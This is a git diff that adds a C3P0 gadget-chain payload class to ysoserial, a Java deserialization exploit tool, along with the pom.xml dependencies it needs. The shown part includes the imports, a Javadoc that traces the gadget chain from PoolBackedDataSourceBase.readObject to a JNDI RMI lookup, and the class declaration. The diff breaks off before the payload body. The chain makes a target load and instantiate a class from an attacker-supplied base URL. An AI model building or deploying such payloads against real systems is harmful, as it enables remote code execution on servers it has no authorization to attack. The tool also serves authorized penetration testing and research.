diff --git a/pom.xml b/pom.xml
index e8c32f9..66d97e2 100644
--- a/pom.xml
+++ b/pom.xml
@@ -74,6 +74,13 @@
1.8.0
test
+
+ org.nanohttpd
+ nanohttpd
+ 2.2.0
+ test
+
+
@@ -157,6 +164,11 @@
commons-fileupload
1.3
+
+ com.mchange
+ c3p0
+ 0.9.5.2
+
diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java
new file mode 100644
index 0000000..035a7fb
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/C3P0.java
@@ -0,0 +1,93 @@
+package ysoserial.payloads;
+
+
+import java.io.PrintWriter;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.sql.ConnectionPoolDataSource;
+import javax.sql.PooledConnection;
+
+import com.mchange.v2.c3p0.PoolBackedDataSource;
+import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
+
+import ysoserial.PayloadTest;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ *
+ *
+ * com.sun.jndi.rmi.registry.RegistryContext->lookup
+ * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
+ * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
+ *
+ * Arguments:
+ * - base_url:classname
+ *
+ * Yields:
+ * - Instantiation of remotely loaded class
+ *
+ * @author mbechler
+ *
+ */
+@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
+@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
+public class C3P0 implements ObjectPayload